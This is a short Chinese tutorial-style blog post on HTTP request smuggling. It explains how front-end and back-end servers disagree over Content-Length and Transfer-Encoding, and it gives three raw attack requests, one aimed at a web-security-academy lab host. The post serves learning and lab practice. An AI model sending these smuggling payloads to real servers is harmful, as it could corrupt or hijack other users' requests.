zoukankan      html  css  js  c++  java
  • http走私攻击

    http走私攻击

    前端服务器和后端服务器接收数据不同步,引起对客户端传入的数据理解不一致,从而导致漏洞。 因为当服务器同时在处理Content-Length和Transfer-Encoding,Content-Length是无效的,当服务器一多,有些服务器认为Content-Length的长度有效,有些以Transfer-Encoding有效,就很产生偏差,一般来说当服务器收到的请求中包含两个Content-Length,而且两者的值不同时,需要返回400错误。
    方式一: GET / HTTP/1.1 Host: example.com Content-Length: 6 Content-Length: 4

    111112

    此时前端看到的长度为6,那么POST请求没问题,但后端看到是长度为4,那么还有两个12留下来在缓冲区中作为下一个请求的一部分,此时一个正常用户来请求,那么就会变成 12GET / HTTP/1.1 Host: example.com Content-Length: 6 发生错误无法正常访问

    方式二: GET / HTTP/1.1 Host: example.com Content-Length:6 Transfer_Encoding:chunked //需要用0独占一行表示结束并在0后空两行表示数据包结束,否则还是waiting状态。

    0 
    
    G
    

    下面用户拼接,因为此时表面上是空白的,但是却是由换行符回车键的及 ,这也是为什么content-length为6:

    GPOST / HTTP/1.1  
    

    发生错误

    方式三:transfer-encoding与content-length一起。
    POST / HTTP/1.1 Host: acf41f441edb9dc9806dca7b00000035.web-security-academy.net User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Cookie: session=3Eyiu83ZSygjzgAfyGPn8VdGbKw5ifew Content-Length: 4 Transfer-Encoding: chunked 12 GPOST / HTTP/1.1 0

    此时前端处理transfer-encoding,后端处理content-Length,导致GPOST / HTTP/1.1留在缓冲区中。

    参考链接:https://paper.seebug.org/1048/

  • 相关阅读:
    抽象与接口的综合练习
    java构造函数能否被继承,为什么?
    题解 【USACO 4.2.1】草地排水
    题解 【NOI2010】超级钢琴
    题解 [USACO Mar08] 奶牛跑步
    题解 【NOIP2016】魔法阵
    题解 对称二叉树
    题解 【NOIP2014】解方程
    题解 【NOIP2010】关押罪犯
    题解 贪吃蛇
  • 原文地址:https://www.cnblogs.com/ophxc/p/12889125.html
Copyright © 2011-2022 走看看